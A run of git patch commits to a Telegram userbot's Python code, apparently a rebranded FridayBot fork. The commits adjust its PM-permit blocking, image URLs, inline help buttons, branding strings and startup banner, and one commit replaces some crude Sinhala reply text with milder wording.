From a5a005208df5c9bafa36891f17378858a42137ae Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Mon, 21 Dec 2020 15:05:29 +0530 Subject: [PATCH 001/838] Update pmpermit.py --- fridaybot/modules/pmpermit.py | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) diff --git a/fridaybot/modules/pmpermit.py b/fridaybot/modules/pmpermit.py index 0a244d18..ee6a8c78 100644 --- a/fridaybot/modules/pmpermit.py +++ b/fridaybot/modules/pmpermit.py @@ -5,14 +5,14 @@ from telethon import events, functions from telethon.tl.functions.users import GetFullUserRequest -from .sql_helper import pmpermit_sql as pmpermit_sql +from .sql_helperimport pmpermit_sql as pmpermit_sql from fridaybot import ALIVE_NAME, CUSTOM_PMPERMIT from fridaybot.Configs import Config from fridaybot.utils import friday_on_cmd PMPERMIT_PIC = os.environ.get("PMPERMIT_PIC", None) if PMPERMIT_PIC is None: - WARN_PIC = "https://telegra.ph/file/b1922e21e94ba5a7a19d0.jpg" + WARN_PIC = "https://telegra.ph/file/53aed76a90e38779161b1.jpg" else: WARN_PIC = PMPERMIT_PIC @@ -26,7 +26,6 @@ ) CUSTOM_MIDDLE_PMP = ( str(CUSTOM_PMPERMIT) if CUSTOM_PMPERMIT else f"Protection By {DEFAULTUSER} ❤️" -) USER_BOT_WARN_ZERO = "ඔයා මගේ මාස්ටර් ගෙ Inbox එකට Spam ගහන්න හදපු නිසා මම ඔයාව Block කරා" botisnoob = Var.TG_BOT_USER_NAME_BF_HER @@ -60,7 +59,7 @@ async def block(event): await asyncio.sleep(3) await event.delete() - @command(pattern=".block$") + @borg.on(friday_on_cmd(pattern="block$")) async def approve_p_m(event): if event.fwd_from: return @@ -70,11 +69,10 @@ async def approve_p_m(event): if event.is_private: if pmpermit_sql.is_approved(chat.id): pmpermit_sql.disapprove(chat.id) - await event.edit( + await event.edit( "Blocked [{}](tg://user?id={})".format(firstname, chat.id) ) - await asyncio.sleep(3) - await event.client(functions.contacts.BlockRequest(chat.id)) + await event.client(functions.contacts.BlockRequest(chat.id)) @borg.on(friday_on_cmd(pattern="(da|disapprove)")) async def approve_p_m(event): From b6feb53e9a379f165755f93e4f20030c2efd3278 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Mon, 21 Dec 2020 15:06:15 +0530 Subject: [PATCH 002/838] Update pmpermit.py --- fridaybot/modules/pmpermit.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/pmpermit.py b/fridaybot/modules/pmpermit.py index ee6a8c78..23a8e9a6 100644 --- a/fridaybot/modules/pmpermit.py +++ b/fridaybot/modules/pmpermit.py @@ -12,7 +12,7 @@ PMPERMIT_PIC = os.environ.get("PMPERMIT_PIC", None) if PMPERMIT_PIC is None: - WARN_PIC = "https://telegra.ph/file/53aed76a90e38779161b1.jpg" + WARN_PIC = "https://telegra.ph/file/b1922e21e94ba5a7a19d0.jpg" else: WARN_PIC = PMPERMIT_PIC From c427f2ec461103f65fbae230e966166479780a9b Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Mon, 21 Dec 2020 15:11:38 +0530 Subject: [PATCH 003/838] Update pmpermit.py --- fridaybot/modules/pmpermit.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/pmpermit.py b/fridaybot/modules/pmpermit.py index 23a8e9a6..6f759207 100644 --- a/fridaybot/modules/pmpermit.py +++ b/fridaybot/modules/pmpermit.py @@ -5,7 +5,7 @@ from telethon import events, functions from telethon.tl.functions.users import GetFullUserRequest -from .sql_helperimport pmpermit_sql as pmpermit_sql +from .sql_helper import pmpermit_sql as pmpermit_sql from fridaybot import ALIVE_NAME, CUSTOM_PMPERMIT from fridaybot.Configs import Config from fridaybot.utils import friday_on_cmd From 7642961e22ab5f43a84f372f436a7162b138d618 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Mon, 21 Dec 2020 15:14:32 +0530 Subject: [PATCH 004/838] Update pmpermit.py --- fridaybot/modules/pmpermit.py | 1 + 1 file changed, 1 insertion(+) diff --git a/fridaybot/modules/pmpermit.py b/fridaybot/modules/pmpermit.py index 6f759207..22b3ea49 100644 --- a/fridaybot/modules/pmpermit.py +++ b/fridaybot/modules/pmpermit.py @@ -26,6 +26,7 @@ ) CUSTOM_MIDDLE_PMP = ( str(CUSTOM_PMPERMIT) if CUSTOM_PMPERMIT else f"Protection By {DEFAULTUSER} ❤️" +) USER_BOT_WARN_ZERO = "ඔයා මගේ මාස්ටර් ගෙ Inbox එකට Spam ගහන්න හදපු නිසා මම ඔයාව Block කරා" botisnoob = Var.TG_BOT_USER_NAME_BF_HER From 85f71b3bb7121ca0194ef08308132c042ae3f617 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Mon, 21 Dec 2020 15:22:16 +0530 Subject: [PATCH 005/838] Update pmpermit.py --- fridaybot/modules/pmpermit.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/pmpermit.py b/fridaybot/modules/pmpermit.py index 22b3ea49..f6233bd7 100644 --- a/fridaybot/modules/pmpermit.py +++ b/fridaybot/modules/pmpermit.py @@ -5,7 +5,7 @@ from telethon import events, functions from telethon.tl.functions.users import GetFullUserRequest -from .sql_helper import pmpermit_sql as pmpermit_sql +import fridaybot.modules.sql_helper.pmpermit_sql as pmpermit_sql from fridaybot import ALIVE_NAME, CUSTOM_PMPERMIT from fridaybot.Configs import Config from fridaybot.utils import friday_on_cmd From d9ac925699f49d3474067aa1e49ab7cf67acceb8 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Tue, 22 Dec 2020 12:35:29 +0530 Subject: [PATCH 006/838] Update issue templates --- .github/ISSUE_TEMPLATE/bug_report.md | 11 +++++++++++ 1 file changed, 11 insertions(+) create mode 100644 .github/ISSUE_TEMPLATE/bug_report.md diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md new file mode 100644 index 00000000..6824f3a2 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -0,0 +1,11 @@ +--- +name: Bug report +about: Create a report to help us improve +title: '' +labels: '' +assignees: '' + +--- + +**Describe the bug** +A clear and concise description of what the bug is. From eb30febd997b2e62ba055d052e56355a72e22a23 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Tue, 22 Dec 2020 13:06:50 +0530 Subject: [PATCH 007/838] Update Configs.py --- fridaybot/Configs.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/Configs.py b/fridaybot/Configs.py index 21c1b8ae..12063fe1 100644 --- a/fridaybot/Configs.py +++ b/fridaybot/Configs.py @@ -146,7 +146,7 @@ class Config(object): "UPSTREAM_REPO", "https://github.com/Inukaasith/VirtualUserbot" ) ALIVE_IMAGE = os.environ.get( - "ALIVE_IMAGE", "https://telegra.ph/file/b1922e21e94ba5a7a19d0.jpg" + "ALIVE_IMAGE", "https://telegra.ph/file/0e7a45ed44e17ce68d8cd.png" ) ASSISTANT_START_PIC = os.environ.get( "ASSISTANT_START_PIC", From 2a0891df37b194ec007b1cddab623c556a297905 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Tue, 22 Dec 2020 13:08:17 +0530 Subject: [PATCH 008/838] Update pmpermit.py --- fridaybot/modules/pmpermit.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/pmpermit.py b/fridaybot/modules/pmpermit.py index f6233bd7..e6dbc961 100644 --- a/fridaybot/modules/pmpermit.py +++ b/fridaybot/modules/pmpermit.py @@ -12,7 +12,7 @@ PMPERMIT_PIC = os.environ.get("PMPERMIT_PIC", None) if PMPERMIT_PIC is None: - WARN_PIC = "https://telegra.ph/file/b1922e21e94ba5a7a19d0.jpg" + WARN_PIC = "https://telegra.ph/file/0e7a45ed44e17ce68d8cd.png" else: WARN_PIC = PMPERMIT_PIC From 731209a977fb030e6777cc749bd9be0af2f5de38 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Tue, 22 Dec 2020 13:08:51 +0530 Subject: [PATCH 009/838] Update bot_alive.py --- fridaybot/modules/assistant/bot_alive.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/assistant/bot_alive.py b/fridaybot/modules/assistant/bot_alive.py index 7ed63b8f..96f4e12d 100644 --- a/fridaybot/modules/assistant/bot_alive.py +++ b/fridaybot/modules/assistant/bot_alive.py @@ -16,7 +16,7 @@ from fridaybot.modules import currentversion DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "Unknown" -PM_IMG = "https://telegra.ph/file/b1922e21e94ba5a7a19d0.jpg" +PM_IMG = "https://telegra.ph/file/0e7a45ed44e17ce68d8cd.png" pm_caption = "➥ **ASSISTANT IS:** `ONLINE`\n\n" pm_caption += "➥ **SYSTEMS STATS**\n" pm_caption += "➥ **Telethon Version:** `1.15.0` \n" From 64f9887034de47cd7a481342261365aa26f5d7b4 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Tue, 22 Dec 2020 13:10:35 +0530 Subject: [PATCH 010/838] =?UTF-8?q?Virtual=20USERBOT=20=20=F0=9F=87=B1?= =?UTF-8?q?=F0=9F=87=B0?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- heroku_config.py | 1 + 1 file changed, 1 insertion(+) diff --git a/heroku_config.py b/heroku_config.py index 564e3c48..f2905344 100644 --- a/heroku_config.py +++ b/heroku_config.py @@ -44,3 +44,4 @@ class Var(object): class Development(Var): LOGGER = True + From 045131de07452ea98be1ab7b7cfbd5fdff368edd Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Tue, 22 Dec 2020 13:12:06 +0530 Subject: [PATCH 011/838] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index ddb83cbd..bca9996f 100644 --- a/README.md +++ b/README.md @@ -10,7 +10,7 @@ Fork

-

+

From f46811b688d4c2d2b747cf99e672ea196a31bb06 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Tue, 22 Dec 2020 20:53:43 +0530 Subject: [PATCH 012/838] Update pmpermit.py --- fridaybot/modules/pmpermit.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/pmpermit.py b/fridaybot/modules/pmpermit.py index e6dbc961..5e6e25fe 100644 --- a/fridaybot/modules/pmpermit.py +++ b/fridaybot/modules/pmpermit.py @@ -5,7 +5,7 @@ from telethon import events, functions from telethon.tl.functions.users import GetFullUserRequest -import fridaybot.modules.sql_helper.pmpermit_sql as pmpermit_sql +from .sql_helper import pmpermit_sql as pmpermit_sql from fridaybot import ALIVE_NAME, CUSTOM_PMPERMIT from fridaybot.Configs import Config from fridaybot.utils import friday_on_cmd From d7c0801cff7e9ec22ebb00187438b50fa26e2a37 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 08:05:08 +0530 Subject: [PATCH 013/838] Update _inlinebot.py --- fridaybot/modules/_inlinebot.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index ac21aabd..a9116a95 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -12,7 +12,7 @@ PMPERMIT_PIC = os.environ.get("PMPERMIT_PIC", None) if PMPERMIT_PIC is None: - WARN_PIC = "https://telegra.ph/file/b1922e21e94ba5a7a19d0.jpg" + WARN_PIC = "https://telegra.ph/file/0e7a45ed44e17ce68d8cd.png" else: WARN_PIC = PMPERMIT_PIC LOG_CHAT = Config.PRIVATE_GROUP_ID @@ -93,7 +93,7 @@ async def on_plug_in_callback_query_handler(event): # https://t.me/TelethonChat/115200 await event.edit(buttons=buttons) else: - reply_pop_up_alert = "මොන හුත්තෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්.!" + reply_pop_up_alert = "මොන පිස්සෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්.!" await event.answer(reply_pop_up_alert, cache_time=0, alert=True) @@ -104,14 +104,14 @@ async def on_plug_in_callback_query_handler(event): ) async def on_plug_in_callback_query_handler(event): if not event.query.user_id == bot.uid: - sedok = "මොන හුත්තෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්.." + sedok = "මොන පිස්සෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්.." await event.answer(sedok, cache_time=0, alert=True) return plugin_name = event.data_match.group(1).decode("UTF-8") if plugin_name in CMD_HELP: help_string = f"**💡 PLUGIN NAME 💡 :** `{plugin_name}` \n{CMD_HELP[plugin_name]}" reply_pop_up_alert = help_string - reply_pop_up_alert += "\n\n**(C) [VirtualUserbot](https://github.com/inukaasith/virtualuserbot)** ".format(plugin_name) + reply_pop_up_alert += "\n\n**(C) [VirtualUserbot](www.github.com/inukaasith/virtualuserbot)** ".format(plugin_name) if len(reply_pop_up_alert) >= 4096: crackexy = "`Pasting Your Help Menu.`" await event.answer(crackexy, cache_time=0, alert=True) @@ -162,7 +162,7 @@ async def rip(event): @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"backme"))) async def sed(event): if event.query.user_id != bot.uid: - sedok = "මොන හුත්තෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්." + sedok = "මොන පිස්සෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්." await event.answer(sedok, cache_time=0, alert=True) return await event.answer("Back", cache_time=0, alert=False) From 5710f1b91f88c7c71f8c8bc97b9394aef0509247 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 08:09:08 +0530 Subject: [PATCH 014/838] Update _inlinebot.py --- fridaybot/modules/_inlinebot.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index a9116a95..5ae9948e 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -111,7 +111,7 @@ async def on_plug_in_callback_query_handler(event): if plugin_name in CMD_HELP: help_string = f"**💡 PLUGIN NAME 💡 :** `{plugin_name}` \n{CMD_HELP[plugin_name]}" reply_pop_up_alert = help_string - reply_pop_up_alert += "\n\n**(C) [VirtualUserbot](www.github.com/inukaasith/virtualuserbot)** ".format(plugin_name) + reply_pop_up_alert += "\n\n**(C) [VirtualUserbot](github.com/inukaasith/virtualuserbot)** ".format(plugin_name) if len(reply_pop_up_alert) >= 4096: crackexy = "`Pasting Your Help Menu.`" await event.answer(crackexy, cache_time=0, alert=True) From d8f8eb0cbac698e93caa54f576b60c9290e0d228 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 08:14:28 +0530 Subject: [PATCH 015/838] Update _inlinebot.py --- fridaybot/modules/_inlinebot.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index 5ae9948e..c71a1738 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -219,7 +219,7 @@ def paginate_help(page_number, loaded_modules, prefix): helpable_modules = sorted(helpable_modules) modules = [ custom.Button.inline( - "{} {} {}".format("✘", x, "✘"), data="us_plugin_{}".format(x) + "{} {} {}".format("🏃‍♂️", x, "🏃‍♂️"), data="us_plugin_{}".format(x) ) for x in helpable_modules ] @@ -234,10 +234,10 @@ def paginate_help(page_number, loaded_modules, prefix): ] + [ ( custom.Button.inline( - "Previous", data="{}_prev({})".format(prefix, modulo_page) + "Previous ⏪", data="{}_prev({})".format(prefix, modulo_page) ), custom.Button.inline( - "Next", data="{}_next({})".format(prefix, modulo_page) + "Next ⏩", data="{}_next({})".format(prefix, modulo_page) ), ) ] From e7d6b73892c979e69583dc99f3701263ec355ec5 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 08:19:52 +0530 Subject: [PATCH 016/838] Update _inlinebot.py --- fridaybot/modules/_inlinebot.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index c71a1738..1ae280ee 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -219,7 +219,7 @@ def paginate_help(page_number, loaded_modules, prefix): helpable_modules = sorted(helpable_modules) modules = [ custom.Button.inline( - "{} {} {}".format("🏃‍♂️", x, "🏃‍♂️"), data="us_plugin_{}".format(x) + "{} {} {}".format("❤️", x, "❤️"), data="us_plugin_{}".format(x) ) for x in helpable_modules ] @@ -234,8 +234,9 @@ def paginate_help(page_number, loaded_modules, prefix): ] + [ ( custom.Button.inline( - "Previous ⏪", data="{}_prev({})".format(prefix, modulo_page) + "⏪ Previous", data="{}_prev({})".format(prefix, modulo_page) ), + custom.Button.inline("Close", data="close"), custom.Button.inline( "Next ⏩", data="{}_next({})".format(prefix, modulo_page) ), From b8dc7babba0ce3c39ef02b9ddb65765ca52167bf Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 08:29:30 +0530 Subject: [PATCH 017/838] Update _inlinebot.py --- fridaybot/modules/_inlinebot.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index 1ae280ee..b47392ea 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -219,7 +219,7 @@ def paginate_help(page_number, loaded_modules, prefix): helpable_modules = sorted(helpable_modules) modules = [ custom.Button.inline( - "{} {} {}".format("❤️", x, "❤️"), data="us_plugin_{}".format(x) + "{} {} {}".format("🏃‍♂️", x, "🏃‍♂️"), data="us_plugin_{}".format(x) ) for x in helpable_modules ] From 13973a8006344c644ba867ba3c8cac7112900743 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 08:30:49 +0530 Subject: [PATCH 018/838] Update __main__.py --- fridaybot/__main__.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/fridaybot/__main__.py b/fridaybot/__main__.py index d65bd33b..08a11d8d 100644 --- a/fridaybot/__main__.py +++ b/fridaybot/__main__.py @@ -50,10 +50,10 @@ async def add_bot(bot_token): path1 = Path(f.name) shortname = path1.stem start_assistant(shortname.replace(".py", "")) - sed.info("Friday And Assistant Bot Have Been Installed Successfully !") + sed.info("VirtualUserbot And Assistant Bot Have Been Installed Successfully !") else: - sed.info("Friday Has Been Installed Sucessfully !") - sed.info("You Can Visit @FridayOT For Any Support Or Doubts") + sed.info("VirtualUserbot Has Been Installed Sucessfully !") + sed.info("You Can Visit @InfinityJE For Any Support Or Doubts") if len(argv) not in (1, 3, 4): bot.disconnect() From 9780456091f5ee0f499aeb070bdea480be025fd3 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 08:32:37 +0530 Subject: [PATCH 019/838] Update _inlinebot.py --- fridaybot/modules/_inlinebot.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index b47392ea..a08524a1 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -236,7 +236,7 @@ def paginate_help(page_number, loaded_modules, prefix): custom.Button.inline( "⏪ Previous", data="{}_prev({})".format(prefix, modulo_page) ), - custom.Button.inline("Close", data="close"), + custom.Button.inline("Close", data="backme"), custom.Button.inline( "Next ⏩", data="{}_next({})".format(prefix, modulo_page) ), From 55edc2b5769782ec8c51b937ad9592173d3f4db6 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 08:37:24 +0530 Subject: [PATCH 020/838] Update _inlinebot.py --- fridaybot/modules/_inlinebot.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index a08524a1..b2179f63 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -236,7 +236,7 @@ def paginate_help(page_number, loaded_modules, prefix): custom.Button.inline( "⏪ Previous", data="{}_prev({})".format(prefix, modulo_page) ), - custom.Button.inline("Close", data="backme"), + custom.Button.inline("Close", data="__close"), custom.Button.inline( "Next ⏩", data="{}_next({})".format(prefix, modulo_page) ), From 634da06748bb70298065bb563b57762fd418b641 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 08:46:58 +0530 Subject: [PATCH 021/838] Update _inlinebot.py --- fridaybot/modules/_inlinebot.py | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index b2179f63..9f9216c0 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -168,7 +168,7 @@ async def sed(event): await event.answer("Back", cache_time=0, alert=False) # This Is Copy of Above Code. (C) @SpEcHiDe buttons = paginate_help(0, CMD_HELP, "helpme") - sed = f"""VirtualUserbots's Userbot Modules Are Listed Here !\n + sed = f"""VirtualUserbot Modules Are Listed Here !\n For More Help or Support Visit @InfinityJE \nCurrently Loaded Plugins: {len(CMD_LIST)}""" await event.edit(message=sed, buttons=buttons) @@ -208,6 +208,13 @@ async def rip(event): buttons=[Button.url("Contact Him", f"tg://user?id={him_id}")], ) +@tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"close"))) +async def on_plug_in_callback_query_handler(event): + if event.query.user_id == bot.uid: + await event.edit("menu closed") + else: + reply_pop_up_alert = "මොන පිස්සෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්. " + await event.answer(reply_pop_up_alert, cache_time=0, alert=True) def paginate_help(page_number, loaded_modules, prefix): number_of_rows = 8 From 215cf7f8af0ca0e83267fa45cf060c5bc7973d8f Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 08:47:28 +0530 Subject: [PATCH 022/838] Update _inlinebot.py --- fridaybot/modules/_inlinebot.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index 9f9216c0..90928895 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -226,7 +226,7 @@ def paginate_help(page_number, loaded_modules, prefix): helpable_modules = sorted(helpable_modules) modules = [ custom.Button.inline( - "{} {} {}".format("🏃‍♂️", x, "🏃‍♂️"), data="us_plugin_{}".format(x) + "{} {} {}".format("🔅", x, "🔅"), data="us_plugin_{}".format(x) ) for x in helpable_modules ] From 222257c44dfa612d066b72c643c0efea47d6c855 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 08:52:19 +0530 Subject: [PATCH 023/838] Update _inlinebot.py --- fridaybot/modules/_inlinebot.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index 90928895..dd0403c0 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -111,7 +111,7 @@ async def on_plug_in_callback_query_handler(event): if plugin_name in CMD_HELP: help_string = f"**💡 PLUGIN NAME 💡 :** `{plugin_name}` \n{CMD_HELP[plugin_name]}" reply_pop_up_alert = help_string - reply_pop_up_alert += "\n\n**(C) [VirtualUserbot](github.com/inukaasith/virtualuserbot)** ".format(plugin_name) + reply_pop_up_alert += "\n\n**(C) VirtualUserbot** ".format(plugin_name) if len(reply_pop_up_alert) >= 4096: crackexy = "`Pasting Your Help Menu.`" await event.answer(crackexy, cache_time=0, alert=True) @@ -169,7 +169,7 @@ async def sed(event): # This Is Copy of Above Code. (C) @SpEcHiDe buttons = paginate_help(0, CMD_HELP, "helpme") sed = f"""VirtualUserbot Modules Are Listed Here !\n -For More Help or Support Visit @InfinityJE \nCurrently Loaded Plugins: {len(CMD_LIST)}""" +For More Help or Support contact {DEFAULTUSER} \n\nCurrently Loaded Plugins: {len(CMD_LIST)}""" await event.edit(message=sed, buttons=buttons) @@ -243,7 +243,7 @@ def paginate_help(page_number, loaded_modules, prefix): custom.Button.inline( "⏪ Previous", data="{}_prev({})".format(prefix, modulo_page) ), - custom.Button.inline("Close", data="__close"), + custom.Button.inline("Close", data="close"), custom.Button.inline( "Next ⏩", data="{}_next({})".format(prefix, modulo_page) ), From 681aa924f2ffc275d5b1a9dd88173b07faa095b0 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 08:52:51 +0530 Subject: [PATCH 024/838] Update _inlinebot.py --- fridaybot/modules/_inlinebot.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index dd0403c0..57f5c780 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -169,7 +169,7 @@ async def sed(event): # This Is Copy of Above Code. (C) @SpEcHiDe buttons = paginate_help(0, CMD_HELP, "helpme") sed = f"""VirtualUserbot Modules Are Listed Here !\n -For More Help or Support contact {DEFAULTUSER} \n\nCurrently Loaded Plugins: {len(CMD_LIST)}""" +For More Help or Support contact {DEFAULTUSER} \nCurrently Loaded Plugins: {len(CMD_LIST)}""" await event.edit(message=sed, buttons=buttons) From e88dfd841669c67ca42cd934f7308c4c2b0c357f Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 08:53:29 +0530 Subject: [PATCH 025/838] Update _helper.py --- fridaybot/modules/_helper.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/_helper.py b/fridaybot/modules/_helper.py index 42d5fe6f..d34008ce 100644 --- a/fridaybot/modules/_helper.py +++ b/fridaybot/modules/_helper.py @@ -29,8 +29,8 @@ async def cmd_list(event): else: await event.edit(input_str + " is not a valid plugin!") else: - help_string = """VirtualUserbot Modules Are Listed Here !\n -For More Help or Support contact Devs @InfinityJE""" + help_string = f"""VirtualUserbot Modules Are Listed Here !\n +For More Help or Support contact {DEFAULTUSER}""" results = await bot.inline_query( # pylint:disable=E0602 tgbotusername, help_string ) From e88ee9fa5e9abbc41e67fe4eb6b7f725919d3a40 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 08:55:18 +0530 Subject: [PATCH 026/838] Update _helper.py --- fridaybot/modules/_helper.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/_helper.py b/fridaybot/modules/_helper.py index d34008ce..99b23378 100644 --- a/fridaybot/modules/_helper.py +++ b/fridaybot/modules/_helper.py @@ -1,5 +1,5 @@ -from fridaybot import CMD_LIST - +from fridaybot import CMD_LIST,ALIVE_NAME +DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "VirtualUserbot" @command(pattern="^.help ?(.*)") async def cmd_list(event): From 558e09f8de10b0c5cbe1ab72ce424e6bbf943122 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 08:59:57 +0530 Subject: [PATCH 027/838] Update start.sh --- start.sh | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/start.sh b/start.sh index 7e9055f5..72e6d4e1 100644 --- a/start.sh +++ b/start.sh @@ -1,6 +1,6 @@ -echo """ ____ ____ __ ____ __ _ _ -( __)( _ \( )( \ / o\ ( \/ ) - ) _) ) / )( ) D (/ \ ) / -(__) (__\_)(__)(____/\_/\_/(__/ +echo """ +░█──░█ ─▀─ █▀▀█ ▀▀█▀▀ █──█ █▀▀█ █──   ░█─░█ █▀▀ █▀▀ █▀▀█ █▀▀▄ █▀▀█ ▀▀█▀▀ +─░█░█─ ▀█▀ █▄▄▀ ──█── █──█ █▄▄█ █──   ░█─░█ ▀▀█ █▀▀ █▄▄▀ █▀▀▄ █──█ ──█── +──▀▄▀─ ▀▀▀ ▀─▀▀ ──▀── ─▀▀▀ ▀──▀ ▀▀▀   ─▀▄▄▀ ▀▀▀ 